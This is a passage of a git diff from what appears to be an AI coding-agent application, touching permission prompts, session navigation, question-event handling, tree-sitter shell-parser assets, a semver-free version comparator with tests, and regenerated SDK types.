if (!questions) {
|
||||
setData("question", question.sessionID, [question])
|
||||
return
|
||||
}
|
||||
const result = Binary.search(questions, question.id, (item) => item.id)
|
||||
if (result.found) setData("question", question.sessionID, result.index, reconcile(question))
|
||||
if (!result.found)
|
||||
setData(
|
||||
"question",
|
||||
question.sessionID,
|
||||
produce((draft) => void draft.splice(result.index, 0, question)),
|
||||
)
|
||||
return
|
||||
}
|
||||
case "question.replied":
|
||||
case "question.rejected": {
|
||||
const props = event.properties as { sessionID: string; requestID: string }
|
||||
setData(
|
||||
"question",
|
||||
props.sessionID,
|
||||
produce((draft) => {
|
||||
if (!draft) return
|
||||
const result = Binary.search(draft, props.requestID, (item) => item.id)
|
||||
if (result.found) draft.splice(result.index, 1)
|
||||
}),
|
||||
)
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
|
||||
@@ -54,7 +54,7 @@ import { createServerSession, type ServerSession } from "./server-session"
|
||||
import { createCatalogSync } from "./server-sync/catalog"
|
||||
import { createConnectionSync } from "./server-sync/connection"
|
||||
import { usePlatform } from "./platform"
|
||||
import { useData, useServer } from "./server"
|
||||
import { useServer } from "./server"
|
||||
|
||||
export function shouldRefreshWorkspaceSessions(event: ServerEvent) {
|
||||
const type = event.current?.type ?? event.type
|
||||
@@ -568,7 +568,7 @@ export function createServerSyncContextInner(serverSDK: ServerSDK) {
|
||||
return event
|
||||
}
|
||||
|
||||
const unsub = serverSDK.eventByDir.listen((e) => {
|
||||
const unsub = serverSDK.event.listen((e) => {
|
||||
const directory = e.name
|
||||
const key = directoryKey(directory)
|
||||
const event = e.details
|
||||
|
||||
@@ -22,8 +22,3 @@ export const { use: useServer, provider: ServerProvider } = createSimpleContext(
|
||||
}
|
||||
},
|
||||
})
|
||||
|
||||
export const useData = () => {
|
||||
const server = useServer()
|
||||
return server.ctx.data
|
||||
}
|
||||
|
||||
@@ -101,7 +101,7 @@ import { diffs as list } from "@/utils/diffs"
|
||||
import { Persist, persisted } from "@/utils/persist"
|
||||
import { extractPromptFromParts } from "@/utils/prompt"
|
||||
import { formatServerError, isLocalSessionNotFoundError, isSessionNotFoundError } from "@/utils/server-errors"
|
||||
import { requireServerKey, sessionHref } from "@/utils/session-route"
|
||||
import { legacySessionHref, requireServerKey, sessionHref } from "@/utils/session-route"
|
||||
import { useUsageExceededDialogs } from "./session/usage-exceeded-dialogs"
|
||||
import { createSessionLineage } from "./session/session-lineage"
|
||||
|
||||
@@ -2128,12 +2128,9 @@ export default function Page() {
|
||||
const id = controller.data.parentID()
|
||||
if (!id) return
|
||||
navigate(
|
||||
sessionHref(
|
||||
controller.identity.params.serverKey
|
||||
? requireServerKey(controller.identity.params.serverKey)
|
||||
: ServerConnection.key(serverSDK.server),
|
||||
id,
|
||||
),
|
||||
controller.identity.params.serverKey
|
||||
? sessionHref(requireServerKey(controller.identity.params.serverKey), id)
|
||||
: legacySessionHref(sdk().directory, id),
|
||||
)
|
||||
},
|
||||
setPromptRef: (el) => {
|
||||
|
||||
@@ -37,16 +37,14 @@ export function SessionPermissionDock(props: {
|
||||
<Button variant="ghost" size="normal" onClick={() => props.onDecide("reject")} disabled={props.responding}>
|
||||
{language.t("ui.permission.deny")}
|
||||
</Button>
|
||||
<Show when={props.request.save?.length}>
|
||||
<Button
|
||||
variant="secondary"
|
||||
size="normal"
|
||||
onClick={() => props.onDecide("always")}
|
||||
disabled={props.responding}
|
||||
>
|
||||
{language.t("ui.permission.allowAlways")}
|
||||
</Button>
|
||||
</Show>
|
||||
<Button
|
||||
variant="secondary"
|
||||
size="normal"
|
||||
onClick={() => props.onDecide("always")}
|
||||
disabled={props.responding}
|
||||
>
|
||||
{language.t("ui.permission.allowAlways")}
|
||||
</Button>
|
||||
<Button variant="primary" size="normal" onClick={() => props.onDecide("once")} disabled={props.responding}>
|
||||
{language.t("ui.permission.allowOnce")}
|
||||
</Button>
|
||||
|
||||
@@ -15,15 +15,13 @@ import { useSDK } from "@/context/sdk"
|
||||
import { useSync } from "@/context/sync"
|
||||
import { useTabs } from "@/context/tabs"
|
||||
import type { SessionController } from "@/pages/session/session-controller"
|
||||
import { requireServerKey, sessionHref } from "@/utils/session-route"
|
||||
import { useServerSDK } from "@/context/server-sdk"
|
||||
import { legacySessionHref, requireServerKey, sessionHref } from "@/utils/session-route"
|
||||
import { sessionTitle } from "@/utils/session-title"
|
||||
import { downloadSessionExport, fetchSessionExport, sessionExportFilename } from "@/utils/session-export"
|
||||
import { showToast } from "@/utils/toast"
|
||||
import { timelineChildTitle, timelineRemovedSessionIDs } from "./controller-projection"
|
||||
import { createTimelineProjection } from "./projection"
|
||||
import { useServer } from "@/context/server"
|
||||
import { ServerConnection } from "@/context/servers"
|
||||
|
||||
const emptyMessages: Message[] = []
|
||||
const emptyParts: Part[] = []
|
||||
@@ -48,7 +46,6 @@ export function createTimelineController(input: {
|
||||
}) {
|
||||
const navigate = useNavigate()
|
||||
const sdk = useSDK()
|
||||
const serverSDK = useServerSDK()
|
||||
const sync = useSync()
|
||||
const server = useServer()
|
||||
const settings = useSettings()
|
||||
@@ -149,22 +146,19 @@ export function createTimelineController(input: {
|
||||
if (!id || pending.unshare || !shareEnabled()) return
|
||||
}
|
||||
const href = (id: string) =>
|
||||
sessionHref(
|
||||
input.session.identity.params.serverKey
|
||||
? requireServerKey(input.session.identity.params.serverKey)
|
||||
: ServerConnection.key(serverSDK.server),
|
||||
id,
|
||||
)
|
||||
input.session.identity.params.serverKey
|
||||
? sessionHref(requireServerKey(input.session.identity.params.serverKey), id)
|
||||
: legacySessionHref(sdk().directory, id)
|
||||
const navigateAfterRemoval = (id: string, parent?: string, next?: string) => {
|
||||
if (input.session.identity.params.id !== id) return
|
||||
if (parent) return navigate(href(parent))
|
||||
if (next) return navigate(href(next))
|
||||
return tabs.newDraft({
|
||||
server: input.session.identity.params.serverKey
|
||||
? requireServerKey(input.session.identity.params.serverKey)
|
||||
: ServerConnection.key(serverSDK.server),
|
||||
directory: sdk().directory,
|
||||
})
|
||||
if (input.session.identity.params.serverKey)
|
||||
return tabs.newDraft({
|
||||
server: requireServerKey(input.session.identity.params.serverKey),
|
||||
directory: sdk().directory,
|
||||
})
|
||||
navigate(`/${input.session.identity.params.dir}/session`)
|
||||
}
|
||||
const exportSession = async (id: string) => {
|
||||
try {
|
||||
|
||||
@@ -38,8 +38,10 @@
|
||||
"immer": "11.1.4",
|
||||
"jsonc-parser": "3.3.1",
|
||||
"open": "10.1.2",
|
||||
"semver": "catalog:",
|
||||
"solid-js": "catalog:",
|
||||
"tree-sitter-bash": "0.25.0",
|
||||
"tree-sitter-powershell": "0.25.10",
|
||||
"web-tree-sitter": "0.25.10",
|
||||
"uqr": "0.1.3",
|
||||
"ws": "8.21.0"
|
||||
},
|
||||
@@ -48,7 +50,6 @@
|
||||
"@opencode-ai/protocol": "workspace:*",
|
||||
"@tsconfig/bun": "catalog:",
|
||||
"@types/bun": "catalog:",
|
||||
"@types/semver": "catalog:",
|
||||
"@typescript/native-preview": "catalog:",
|
||||
"@lydell/node-pty-darwin-arm64": "1.2.0-beta.12",
|
||||
"@lydell/node-pty-darwin-x64": "1.2.0-beta.12",
|
||||
|
||||
@@ -3,7 +3,7 @@ import { copyFile, mkdir, readdir, readFile, stat } from "node:fs/promises"
|
||||
import path from "node:path"
|
||||
import { fileURLToPath } from "node:url"
|
||||
import { getNodeAssets } from "@opentui/core/node-assets"
|
||||
import { attentionSoundAssets, type NodeTarget, photonWasmAsset } from "../src/node/target"
|
||||
import { attentionSoundAssets, type NodeTarget, photonWasmAsset, shellParserWasmAssets } from "../src/node/target"
|
||||
|
||||
const dir = path.resolve(import.meta.dirname, "..")
|
||||
|
||||
@@ -43,6 +43,10 @@ export async function collectNodeAssets(target: NodeTarget) {
|
||||
key: photonWasmAsset,
|
||||
source: fileURLToPath(import.meta.resolve(photonWasmAsset)),
|
||||
},
|
||||
...Object.values(shellParserWasmAssets).map((key) => ({
|
||||
key,
|
||||
source: fileURLToPath(import.meta.resolve(key)),
|
||||
})),
|
||||
...attentionSoundAssets.map((key) => ({
|
||||
key,
|
||||
source: path.resolve(dir, "../ui/src/assets/audio", path.basename(key)),
|
||||
|
||||
@@ -47,7 +47,7 @@ export async function replyPermission(input: {
|
||||
locations: permissionLocations(toolName, toolInput, input.event.data.resources, input.cwd, previews),
|
||||
...(previews.length > 0 ? { content: previews } : {}),
|
||||
},
|
||||
options: input.event.data.save?.length ? options : options.filter((option) => option.optionId !== "always"),
|
||||
options,
|
||||
})
|
||||
.catch(() => undefined)
|
||||
const selected = result?.outcome.outcome === "selected" ? result.outcome.optionId : undefined
|
||||
|
||||
@@ -29,6 +29,11 @@ export function nodeTarget(platform: string, arch: string) {
|
||||
}
|
||||
|
||||
export const photonWasmAsset = "@silvia-odwyer/photon-node/photon_rs_bg.wasm"
|
||||
export const shellParserWasmAssets = {
|
||||
runtime: "web-tree-sitter/tree-sitter.wasm",
|
||||
bash: "tree-sitter-bash/tree-sitter-bash.wasm",
|
||||
powershell: "tree-sitter-powershell/tree-sitter-powershell.wasm",
|
||||
} as const
|
||||
export const nodeExecArgv = ["--experimental-ffi", "--use-system-ca", "--disable-warning=ExperimentalWarning"] as const
|
||||
|
||||
export const attentionSoundAssets = [
|
||||
|
||||
@@ -0,0 +1,50 @@
|
||||
export type Policy = boolean | "notify"
|
||||
export type Action = "none" | "upgrade"
|
||||
|
||||
const maximumComponent = "9007199254740991"
|
||||
const versionPattern =
|
||||
/^v?([0-9]+)\.([0-9]+)\.([0-9]+)(?:-([0-9A-Za-z-]+(?:\.[0-9A-Za-z-]+)*))?(?:\+[0-9A-Za-z-]+(?:\.[0-9A-Za-z-]+)*)?$/
|
||||
|
||||
export function action(current: string, latest: string, policy: Policy): Action {
|
||||
if (policy === false) return "none"
|
||||
const currentVersion = parseReleaseVersion(current)
|
||||
const latestVersion = parseReleaseVersion(latest)
|
||||
if (!currentVersion || !latestVersion || sameRelease(currentVersion, latestVersion)) return "none"
|
||||
// Major upgrades are never installed automatically.
|
||||
if (currentVersion.major !== latestVersion.major) return "none"
|
||||
return "upgrade"
|
||||
}
|
||||
|
||||
function parseReleaseVersion(input: string) {
|
||||
if (input.length > 256) return
|
||||
const match = input.trim().match(versionPattern)
|
||||
if (!match) return
|
||||
if ([match[1], match[2], match[3]].some(invalidComponent)) return
|
||||
if (
|
||||
match[4]
|
||||
?.split(".")
|
||||
.some((identifier) => identifier.length > 1 && identifier.startsWith("0") && /^[0-9]+$/.test(identifier))
|
||||
)
|
||||
return
|
||||
return {
|
||||
major: match[1],
|
||||
core: `${match[1]}.${match[2]}.${match[3]}`,
|
||||
prerelease: match[4]?.split(".") ?? [],
|
||||
}
|
||||
}
|
||||
|
||||
function sameRelease(current: NonNullable<ReturnType<typeof parseReleaseVersion>>, latest: typeof current) {
|
||||
if (current.core !== latest.core || current.prerelease.length !== latest.prerelease.length) return false
|
||||
return current.prerelease.every((identifier, index) => {
|
||||
const other = latest.prerelease[index]
|
||||
if (identifier === other) return true
|
||||
// semver compares oversized numeric prerelease identifiers after numeric coercion.
|
||||
return /^[0-9]+$/.test(identifier) && /^[0-9]+$/.test(other) && Number(identifier) === Number(other)
|
||||
})
|
||||
}
|
||||
|
||||
function invalidComponent(value: string) {
|
||||
if (value.length > 1 && value.startsWith("0")) return true
|
||||
if (value.length !== maximumComponent.length) return value.length > maximumComponent.length
|
||||
return value > maximumComponent
|
||||
}
|
||||
@@ -1,5 +1,6 @@
|
||||
import { describe, expect, test } from "bun:test"
|
||||
import { action, decodePolicy } from "./updater"
|
||||
import { action } from "./updater-action"
|
||||
import { decodePolicy } from "./updater"
|
||||
|
||||
describe("updater", () => {
|
||||
test("reads autoupdate from JSONC", () => {
|
||||
@@ -30,4 +31,48 @@ describe("updater", () => {
|
||||
test("upgrades when latest is lower (rollback)", () => {
|
||||
expect(action("1.2.4", "1.2.3", true)).toBe("upgrade")
|
||||
})
|
||||
|
||||
test("accepts strict release version variants", () => {
|
||||
expect(action("v1.2.3", " 1.2.4\n", true)).toBe("upgrade")
|
||||
expect(action("1.2.3-alpha.1", "1.2.3-alpha.2", true)).toBe("upgrade")
|
||||
expect(action("0.0.0-next-17403", "0.0.0-next-17403.2", true)).toBe("upgrade")
|
||||
expect(action("1.2.3+old", "1.2.3+new", true)).toBe("none")
|
||||
expect(action("v1.2.3+old", "1.2.3", true)).toBe("none")
|
||||
})
|
||||
|
||||
test("preserves strict validity", () => {
|
||||
const invalid = [
|
||||
"=1.2.3",
|
||||
"V1.2.3",
|
||||
"1.2",
|
||||
"1.2.3.4",
|
||||
"01.2.3",
|
||||
"1.02.3",
|
||||
"1.2.03",
|
||||
"1.2.3-01",
|
||||
"1.2.3-",
|
||||
"1.2.3+",
|
||||
"1.2.3-alpha..1",
|
||||
"1.2.3_alpha",
|
||||
"9007199254740992.0.0",
|
||||
"0.9007199254740992.0",
|
||||
"0.0.9007199254740992",
|
||||
]
|
||||
invalid.forEach((version) => expect(action("1.2.3", version, true), version).toBe("none"))
|
||||
})
|
||||
|
||||
test("handles numeric limits without losing precision", () => {
|
||||
expect(action("9007199254740991.0.0", "9007199254740991.0.1", true)).toBe("upgrade")
|
||||
expect(action("9007199254740990.0.0", "9007199254740991.0.0", true)).toBe("none")
|
||||
})
|
||||
|
||||
test("preserves equality for oversized numeric prerelease identifiers", () => {
|
||||
expect(action("1.0.0-9007199254740992", "1.0.0-9007199254740993", true)).toBe("none")
|
||||
expect(action("1.0.0-9007199254740991", "1.0.0-9007199254740992", true)).toBe("upgrade")
|
||||
})
|
||||
|
||||
test("rejects versions longer than semver's limit before trimming", () => {
|
||||
expect(action("1.2.3", `${" ".repeat(251)}1.2.3`, true)).toBe("none")
|
||||
expect(action("1.2.3", `1.2.4+${"a".repeat(250)}`, true)).toBe("upgrade")
|
||||
})
|
||||
})
|
||||
|
||||
@@ -5,12 +5,10 @@ import { Context, Duration, Effect, FileSystem, Layer } from "effect"
|
||||
import { ChildProcess } from "effect/unstable/process"
|
||||
import { parse, type ParseError } from "jsonc-parser"
|
||||
import path from "node:path"
|
||||
import semver from "semver"
|
||||
import { action, type Policy } from "./updater-action"
|
||||
|
||||
declare const OPENCODE_CLI_NAME: string | undefined
|
||||
|
||||
export type Policy = boolean | "notify"
|
||||
export type Action = "none" | "upgrade"
|
||||
type Method = "npm" | "pnpm" | "bun" | "yarn"
|
||||
|
||||
const packageName =
|
||||
@@ -34,14 +32,6 @@ export function decodePolicy(text: string): Policy | undefined {
|
||||
if (typeof value === "boolean" || value === "notify") return value
|
||||
}
|
||||
|
||||
export function action(current: string, latest: string, policy: Policy): Action {
|
||||
if (policy === false) return "none"
|
||||
if (!semver.valid(current) || !semver.valid(latest) || semver.eq(latest, current)) return "none"
|
||||
// Major upgrades are never installed automatically.
|
||||
if (semver.major(latest) !== semver.major(current)) return "none"
|
||||
return "upgrade"
|
||||
}
|
||||
|
||||
export const layer = Layer.effect(
|
||||
Service,
|
||||
Effect.gen(function* () {
|
||||
@@ -166,3 +156,4 @@ export const layer = Layer.effect(
|
||||
)
|
||||
|
||||
export * as Updater from "./updater"
|
||||
export { action, type Action, type Policy } from "./updater-action"
|
||||
|
||||
@@ -49,7 +49,6 @@ describe("acp permission behavior", () => {
|
||||
send(
|
||||
permissionAsked("ses_allow", "perm_always", {
|
||||
action: "read",
|
||||
save: ["/workspace/file.ts"],
|
||||
metadata: { path: "/workspace/file.ts" },
|
||||
source: { type: "tool", messageID: "msg_allow", id: "call_always" },
|
||||
}),
|
||||
@@ -85,10 +84,10 @@ describe("acp permission behavior", () => {
|
||||
},
|
||||
options: [
|
||||
{ optionId: "once", kind: "allow_once", name: "Allow once" },
|
||||
{ optionId: "always", kind: "allow_always", name: "Always allow" },
|
||||
{ optionId: "reject", kind: "reject_once", name: "Reject" },
|
||||
],
|
||||
})
|
||||
expect(permissionRequests[0]?.options.map((option) => option.optionId)).toEqual(["once", "reject"])
|
||||
expect(permissionRequests[1]).toMatchObject({
|
||||
sessionId: "ses_allow",
|
||||
toolCall: {
|
||||
@@ -558,7 +557,6 @@ function permissionAsked(
|
||||
input: {
|
||||
readonly action?: string
|
||||
readonly metadata?: Record<string, unknown>
|
||||
readonly save?: string[]
|
||||
readonly source?: { readonly type: "tool"; readonly messageID: string; readonly id: string }
|
||||
} = {},
|
||||
) {
|
||||
@@ -567,7 +565,6 @@ function permissionAsked(
|
||||
sessionID,
|
||||
action: input.action ?? "shell",
|
||||
resources: ["*"],
|
||||
...(input.save ? { save: input.save } : {}),
|
||||
metadata: input.metadata ?? { command: "printf hello" },
|
||||
...(input.source ? { source: input.source } : {}),
|
||||
})
|
||||
|
||||
@@ -1,10 +1,17 @@
|
||||
import { expect, test } from "bun:test"
|
||||
import { fileURLToPath } from "node:url"
|
||||
import { collectNodeAssets } from "../script/node-assets"
|
||||
import { nodeTarget } from "../src/node/target"
|
||||
import { nodeTarget, shellParserWasmAssets } from "../src/node/target"
|
||||
|
||||
test("collects each SEA asset key once", async () => {
|
||||
const assets = await collectNodeAssets(nodeTarget(process.platform, process.arch))
|
||||
const keys = assets.map((asset) => asset.key)
|
||||
|
||||
expect(new Set(keys).size).toBe(keys.length)
|
||||
expect(assets.filter((asset) => asset.key === shellParserWasmAssets.runtime)).toEqual([
|
||||
{
|
||||
key: shellParserWasmAssets.runtime,
|
||||
source: fileURLToPath(import.meta.resolve(shellParserWasmAssets.runtime)),
|
||||
},
|
||||
])
|
||||
})
|
||||
|
||||
@@ -240,8 +240,6 @@ async function run(input: {
|
||||
})()
|
||||
spyOn(sdk.event, "subscribe").mockImplementation(() => stream)
|
||||
spyOn(sdk.permission, "list").mockImplementation(() => ok([]) as never)
|
||||
spyOn(sdk.question, "list").mockImplementation(() => ok([]) as never)
|
||||
spyOn(sdk.question, "reject").mockImplementation(() => ok(undefined) as never)
|
||||
spyOn(sdk.form, "list").mockImplementation(
|
||||
(request) => ok(input.pendingForms?.filter((item) => item.sessionID === request.sessionID) ?? []) as never,
|
||||
)
|
||||
@@ -435,8 +433,6 @@ describe("runNonInteractivePrompt", () => {
|
||||
expect(sdk.form.request.list).toHaveBeenCalledWith({
|
||||
location: { directory: "/work tree", workspace: "wrk_1" },
|
||||
})
|
||||
expect(sdk.question.list).not.toHaveBeenCalled()
|
||||
expect(sdk.question.reject).not.toHaveBeenCalled()
|
||||
})
|
||||
|
||||
test("attach mode cancels only session-owned forms", async () => {
|
||||
|
||||
@@ -3,7 +3,7 @@ import { readFile } from "node:fs/promises"
|
||||
import { createRequire } from "node:module"
|
||||
import { defineConfig, type Plugin, type UserConfig } from "vite"
|
||||
import solid from "vite-plugin-solid"
|
||||
import { nodeExecArgv, nodeTarget, type NodeTarget, photonWasmAsset } from "./src/node/target"
|
||||
import { nodeExecArgv, nodeTarget, type NodeTarget, photonWasmAsset, shellParserWasmAssets } from "./src/node/target"
|
||||
|
||||
const dir = import.meta.dirname
|
||||
|
||||
@@ -212,6 +212,9 @@ process.env.OTUI_ASSET_ROOT = __ocAssetRoot
|
||||
process.env.OPENCODE_NODE_PTY_PATH = __ocPath.join(__ocAssetRoot, ${JSON.stringify(input.target.nodePtyEntryAsset)})
|
||||
process.env.OPENCODE_PARCEL_WATCHER_PATH = __ocPath.join(__ocAssetRoot, ${JSON.stringify(input.target.parcelWatcherAsset)})
|
||||
process.env.OPENCODE_PHOTON_WASM_PATH = __ocPath.join(__ocAssetRoot, ${JSON.stringify(photonWasmAsset)})
|
||||
process.env.OPENCODE_TREE_SITTER_WASM_PATH = __ocPath.join(__ocAssetRoot, ${JSON.stringify(shellParserWasmAssets.runtime)})
|
||||
process.env.OPENCODE_TREE_SITTER_BASH_WASM_PATH = __ocPath.join(__ocAssetRoot, ${JSON.stringify(shellParserWasmAssets.bash)})
|
||||
process.env.OPENCODE_TREE_SITTER_POWERSHELL_WASM_PATH = __ocPath.join(__ocAssetRoot, ${JSON.stringify(shellParserWasmAssets.powershell)})
|
||||
process.env.FFF_BINARY_PATH = __ocPath.join(__ocAssetRoot, ${JSON.stringify(input.target.fffAsset)})
|
||||
process.env.OPENCODE_FFF_FFI_PATH = __ocPath.join(__ocAssetRoot, ${JSON.stringify(input.target.fffFfiAsset)})
|
||||
try {
|
||||
|
||||
@@ -20,7 +20,6 @@
|
||||
"./promise": "./src/promise/index.ts",
|
||||
"./promise/api": "./src/promise/api.ts",
|
||||
"./service": "./src/promise/service.ts",
|
||||
"./solid": "./src/solid/index.ts",
|
||||
"./effect": "./src/effect/index.ts",
|
||||
"./effect/api": "./src/effect/api.ts",
|
||||
"./effect/service": "./src/effect/service.ts"
|
||||
@@ -37,15 +36,11 @@
|
||||
"@opencode-ai/protocol": "workspace:*"
|
||||
},
|
||||
"peerDependencies": {
|
||||
"effect": "4.0.0-beta.101",
|
||||
"solid-js": ">=1.9.0"
|
||||
"effect": "4.0.0-beta.101"
|
||||
},
|
||||
"peerDependenciesMeta": {
|
||||
"effect": {
|
||||
"optional": true
|
||||
},
|
||||
"solid-js": {
|
||||
"optional": true
|
||||
}
|
||||
},
|
||||
"devDependencies": {
|
||||
@@ -54,7 +49,6 @@
|
||||
"@tsconfig/bun": "catalog:",
|
||||
"@types/bun": "catalog:",
|
||||
"@typescript/native-preview": "catalog:",
|
||||
"effect": "catalog:",
|
||||
"solid-js": "catalog:"
|
||||
"effect": "catalog:"
|
||||
}
|
||||
}
|
||||
|
||||
@@ -32,7 +32,6 @@ import type { FileSystem } from "@opencode-ai/schema/filesystem"
|
||||
import type { Command } from "@opencode-ai/schema/command"
|
||||
import type { OpenCodeEvent } from "@opencode-ai/protocol/groups/event"
|
||||
import type { Pty } from "@opencode-ai/schema/pty"
|
||||
import type { Question } from "@opencode-ai/schema/question"
|
||||
import type { Reference } from "@opencode-ai/schema/reference"
|
||||
import type { Worktree } from "@opencode-ai/schema/worktree"
|
||||
import type { Vcs } from "@opencode-ai/schema/vcs"
|
||||
@@ -1307,7 +1306,6 @@ export type Endpoint15_3Input = {
|
||||
readonly action: string
|
||||
readonly resources: ReadonlyArray<string>
|
||||
readonly save?: ReadonlyArray<string> | undefined
|
||||
readonly opaque?: boolean | undefined
|
||||
readonly metadata?: { readonly [x: string]: unknown } | undefined
|
||||
readonly source?: Permission.Source | undefined
|
||||
readonly agent?: Agent.ID | undefined
|
||||
@@ -1504,69 +1502,38 @@ export interface ShellApi<E = never> {
|
||||
export type Endpoint22_0Input = {
|
||||
readonly location?: { readonly directory?: string | undefined; readonly workspace?: string | undefined } | undefined
|
||||
}
|
||||
export type Endpoint22_0Output = { readonly location: Location.Info; readonly data: ReadonlyArray<Question.Request> }
|
||||
export type QuestionRequestListOperation<E = never> = (
|
||||
input?: Endpoint22_0Input,
|
||||
) => Effect.Effect<Endpoint22_0Output, E>
|
||||
|
||||
export type Endpoint22_1Input = { readonly sessionID: Session.ID }
|
||||
export type Endpoint22_1Output = ReadonlyArray<Question.Request>
|
||||
export type QuestionListOperation<E = never> = (input: Endpoint22_1Input) => Effect.Effect<Endpoint22_1Output, E>
|
||||
|
||||
export type Endpoint22_2Input = {
|
||||
readonly sessionID: Session.ID
|
||||
readonly requestID: Question.ID
|
||||
readonly answers: ReadonlyArray<Question.Answer>
|
||||
}
|
||||
export type Endpoint22_2Output = void
|
||||
export type QuestionReplyOperation<E = never> = (input: Endpoint22_2Input) => Effect.Effect<Endpoint22_2Output, E>
|
||||
|
||||
export type Endpoint22_3Input = { readonly sessionID: Session.ID; readonly requestID: Question.ID }
|
||||
export type Endpoint22_3Output = void
|
||||
export type QuestionRejectOperation<E = never> = (input: Endpoint22_3Input) => Effect.Effect<Endpoint22_3Output, E>
|
||||
|
||||
export interface QuestionApi<E = never> {
|
||||
readonly request: { readonly list: QuestionRequestListOperation<E> }
|
||||
readonly list: QuestionListOperation<E>
|
||||
readonly reply: QuestionReplyOperation<E>
|
||||
readonly reject: QuestionRejectOperation<E>
|
||||
}
|
||||
|
||||
export type Endpoint23_0Input = {
|
||||
readonly location?: { readonly directory?: string | undefined; readonly workspace?: string | undefined } | undefined
|
||||
}
|
||||
export type Endpoint23_0Output = { readonly location: Location.Info; readonly data: ReadonlyArray<Reference.Info> }
|
||||
export type ReferenceListOperation<E = never> = (input?: Endpoint23_0Input) => Effect.Effect<Endpoint23_0Output, E>
|
||||
export type Endpoint22_0Output = { readonly location: Location.Info; readonly data: ReadonlyArray<Reference.Info> }
|
||||
export type ReferenceListOperation<E = never> = (input?: Endpoint22_0Input) => Effect.Effect<Endpoint22_0Output, E>
|
||||
|
||||
export interface ReferenceApi<E = never> {
|
||||
readonly list: ReferenceListOperation<E>
|
||||
}
|
||||
|
||||
export type Endpoint24_0Input = { readonly projectID: Project.ID }
|
||||
export type Endpoint24_0Output = Worktree.List
|
||||
export type WorktreeListOperation<E = never> = (input: Endpoint24_0Input) => Effect.Effect<Endpoint24_0Output, E>
|
||||
export type Endpoint23_0Input = { readonly projectID: Project.ID }
|
||||
export type Endpoint23_0Output = Worktree.List
|
||||
export type WorktreeListOperation<E = never> = (input: Endpoint23_0Input) => Effect.Effect<Endpoint23_0Output, E>
|
||||
|
||||
export type Endpoint24_1Input = {
|
||||
export type Endpoint23_1Input = {
|
||||
readonly projectID: Project.ID
|
||||
readonly strategy: Worktree.StrategyID
|
||||
readonly from?: AbsolutePath | undefined
|
||||
readonly directory: AbsolutePath
|
||||
readonly name?: string | undefined
|
||||
}
|
||||
export type Endpoint24_1Output = Worktree.Info
|
||||
export type WorktreeCreateOperation<E = never> = (input: Endpoint24_1Input) => Effect.Effect<Endpoint24_1Output, E>
|
||||
export type Endpoint23_1Output = Worktree.Info
|
||||
export type WorktreeCreateOperation<E = never> = (input: Endpoint23_1Input) => Effect.Effect<Endpoint23_1Output, E>
|
||||
|
||||
export type Endpoint24_2Input = {
|
||||
export type Endpoint23_2Input = {
|
||||
readonly projectID: Project.ID
|
||||
readonly directory: AbsolutePath
|
||||
readonly force: boolean
|
||||
}
|
||||
export type Endpoint24_2Output = void
|
||||
export type WorktreeRemoveOperation<E = never> = (input: Endpoint24_2Input) => Effect.Effect<Endpoint24_2Output, E>
|
||||
export type Endpoint23_2Output = void
|
||||
export type WorktreeRemoveOperation<E = never> = (input: Endpoint23_2Input) => Effect.Effect<Endpoint23_2Output, E>
|
||||
|
||||
export type Endpoint24_3Input = { readonly projectID: Project.ID }
|
||||
export type Endpoint24_3Output = void
|
||||
export type WorktreeRefreshOperation<E = never> = (input: Endpoint24_3Input) => Effect.Effect<Endpoint24_3Output, E>
|
||||
export type Endpoint23_3Input = { readonly projectID: Project.ID }
|
||||
export type Endpoint23_3Output = void
|
||||
export type WorktreeRefreshOperation<E = never> = (input: Endpoint23_3Input) => Effect.Effect<Endpoint23_3Output, E>
|
||||
|
||||
export interface WorktreeApi<E = never> {
|
||||
readonly list: WorktreeListOperation<E>
|
||||
@@ -1575,25 +1542,25 @@ export interface WorktreeApi<E = never> {
|
||||
readonly refresh: WorktreeRefreshOperation<E>
|
||||
}
|
||||
|
||||
export type Endpoint25_0Input = {
|
||||
export type Endpoint24_0Input = {
|
||||
readonly location?: { readonly directory?: string | undefined; readonly workspace?: string | undefined } | undefined
|
||||
}
|
||||
export type Endpoint25_0Output = { readonly location: Location.Info; readonly data: Vcs.Info }
|
||||
export type VcsGetOperation<E = never> = (input?: Endpoint25_0Input) => Effect.Effect<Endpoint25_0Output, E>
|
||||
export type Endpoint24_0Output = { readonly location: Location.Info; readonly data: Vcs.Info }
|
||||
export type VcsGetOperation<E = never> = (input?: Endpoint24_0Input) => Effect.Effect<Endpoint24_0Output, E>
|
||||
|
||||
export type Endpoint25_1Input = {
|
||||
export type Endpoint24_1Input = {
|
||||
readonly location?: { readonly directory?: string | undefined; readonly workspace?: string | undefined } | undefined
|
||||
}
|
||||
export type Endpoint25_1Output = { readonly location: Location.Info; readonly data: ReadonlyArray<Vcs.FileStatus> }
|
||||
export type VcsStatusOperation<E = never> = (input?: Endpoint25_1Input) => Effect.Effect<Endpoint25_1Output, E>
|
||||
export type Endpoint24_1Output = { readonly location: Location.Info; readonly data: ReadonlyArray<Vcs.FileStatus> }
|
||||
export type VcsStatusOperation<E = never> = (input?: Endpoint24_1Input) => Effect.Effect<Endpoint24_1Output, E>
|
||||
|
||||
export type Endpoint25_2Input = {
|
||||
export type Endpoint24_2Input = {
|
||||
readonly location?: { readonly directory?: string | undefined; readonly workspace?: string | undefined } | undefined
|
||||
readonly mode: Vcs.Mode
|
||||
readonly context?: number | undefined
|
||||
}
|
||||
export type Endpoint25_2Output = { readonly location: Location.Info; readonly data: ReadonlyArray<FileDiff.Info> }
|
||||
export type VcsDiffOperation<E = never> = (input: Endpoint25_2Input) => Effect.Effect<Endpoint25_2Output, E>
|
||||
export type Endpoint24_2Output = { readonly location: Location.Info; readonly data: ReadonlyArray<FileDiff.Info> }
|
||||
export type VcsDiffOperation<E = never> = (input: Endpoint24_2Input) => Effect.Effect<Endpoint24_2Output, E>
|
||||
|
||||
export interface VcsApi<E = never> {
|
||||
readonly get: VcsGetOperation<E>
|
||||
@@ -1601,20 +1568,20 @@ export interface VcsApi<E = never> {
|
||||
readonly diff: VcsDiffOperation<E>
|
||||
}
|
||||
|
||||
export type Endpoint26_0Output = ReadonlyArray<Location.Ref>
|
||||
export type DebugLocationListOperation<E = never> = () => Effect.Effect<Endpoint26_0Output, E>
|
||||
export type Endpoint25_0Output = ReadonlyArray<Location.Ref>
|
||||
export type DebugLocationListOperation<E = never> = () => Effect.Effect<Endpoint25_0Output, E>
|
||||
|
||||
export type Endpoint26_1Input = {
|
||||
export type Endpoint25_1Input = {
|
||||
readonly location?: { readonly directory?: string | undefined; readonly workspace?: string | undefined } | undefined
|
||||
